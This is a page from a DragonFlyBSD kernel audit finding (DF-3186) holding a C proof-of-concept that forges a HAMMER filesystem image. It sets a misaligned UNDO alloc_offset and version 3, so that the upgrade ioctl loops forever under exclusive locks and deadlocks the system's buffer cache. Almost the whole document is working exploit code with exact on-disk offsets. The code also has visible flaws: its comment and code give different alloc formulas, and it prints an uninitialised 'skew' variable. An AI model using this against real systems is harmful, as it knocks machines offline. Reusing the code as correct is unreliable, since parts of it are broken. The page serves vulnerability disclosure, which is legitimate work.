⬢ DragonFlyBSD Kernel Audit
DF-3186 / patch_undo.c
← back to finding ↓ download raw
/*
 * DF-3186: forge a root volume header whose UNDO blockmap alloc_offset is
 * NOT congruent to HAMMER_UNDO_ALIGN (512) modulo first_offset, and whose
 * version is 3, so that HAMMERIOC_SET_VERSION -> hammer_upgrade_undo_4
 * (hammer_undo.c:381-405)
 *
 *	next_offset = HAMMER_ENCODE_UNDO(0);
 *	while (next_offset != undomap->alloc_offset) {
 *		... hammer_bnew(DUMMY record) ...
 *		next_offset += HAMMER_UNDO_ALIGN;   (512)
 *	}
 *
 * never terminates (equality unreachable through 512-byte steps), while
 * the ioctl holds hmp->flusher.finalize_lock and sync_lock exclusively
 * (hammer_ioctl.c:638-639): every fs operation on the mount blocks
 * forever and the dirtying DUMMY buffers eventually exhaust the buffer
 * cache -> system-wide buffer-cache deadlock.
 *
 * Root volume header field offsets (struct hammer_volume_ondisk,
 * hammer_disk.h:738-790, 8-byte aligned):
 *   vol_version      @ 152
 *   vol0_btree_root  @ 240
 *   vol0_blockmap    @ 256, 40 bytes/zone, UNDO index 3:
 *       phys @ 256+120, first @ +8, next @ +16, alloc @ +24
 *
 * We set alloc_offset = first_offset + roundup(next-first,512) + 512 + 256
 * (>= next, so mount recovery's first/last <= alloc check passes, but
 * never equal to first + k*512).
 *
 * usage: patch_undo <image>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>

#define VOL_VERSION_OFF    152
#define VOL0_BLOCKMAP_OFF  256
#define UNDO_INDEX         3
#define BLOCKMAP_SZ        40

int main(int argc, char **argv)
{
	uint64_t first, next, alloc, skew;
	uint32_t ver = 3;
	int fd;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <image>\n", argv[0]);
		exit(2);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0) { perror("open"); exit(2); }

	off_t bm = VOL0_BLOCKMAP_OFF + BLOCKMAP_SZ * UNDO_INDEX;
	if (pread(fd, &first, 8, bm + 8) != 8 ||
	    pread(fd, &next, 8, bm + 16) != 8 ||
	    pread(fd, &alloc, 8, bm + 24) != 8) {
		perror("pread blockmap"); exit(2);
	}
	printf("UNDO blockmap: first=0x%016jx next=0x%016jx alloc=0x%016jx\n",
	       (uintmax_t)first, (uintmax_t)next, (uintmax_t)alloc);

	/* keep first/next as newfs left them; place alloc above next with a
	   skew that is NOT a multiple of HAMMER_UNDO_ALIGN (512) */
	alloc = next + 512 + 256;
	if (pwrite(fd, &alloc, 8, bm + 24) != 8) { perror("pwrite alloc"); exit(1); }
	if (pwrite(fd, &ver, 4, VOL_VERSION_OFF) != 4) { perror("pwrite ver"); exit(1); }

	printf("patched: alloc_offset=0x%016jx (skew %ju, NOT 512-congruent), "
	       "vol_version=3\n", (uintmax_t)alloc, (uintmax_t)skew);
	close(fd);
	return 0;
}